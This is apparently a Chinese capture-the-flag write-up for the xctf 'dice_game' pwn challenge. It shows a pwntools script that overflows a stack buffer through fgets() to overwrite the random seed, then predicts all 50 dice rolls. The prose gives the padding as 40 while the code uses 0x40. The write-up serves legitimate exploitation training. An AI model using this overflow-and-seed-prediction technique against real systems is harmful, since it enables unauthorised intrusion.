dice_game(xctf)

0x0 程序保护和流程

保护:

dice_game(xctf)_第1张图片

流程:

main()

dice_game(xctf)_第2张图片

sub_A20()

dice_game(xctf)_第3张图片

sub_B28()

dice_game(xctf)_第4张图片

只要sub_A20()的验证通过50次就可以通过sub_B20()输出flag。而sub_A20()通过随机数来决定返回的值是否为1。整个程序只有fgets()处可以覆盖栈上其他变量的值,所以可以通过fgets()修改seed[0]的值。

0x1 利用过程

可以观察到seed[0]处于rsp+40h的位置所以padding=‘a’*40之后就可以覆盖seed[0]的值了。

0x2 exp

from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
    sh.recvuntil('Give me the point(1~6): ')
    sh.sendline(str(libc.rand()%6+1))

sh.recv()

你可能感兴趣的:(xctf(pwn高手区))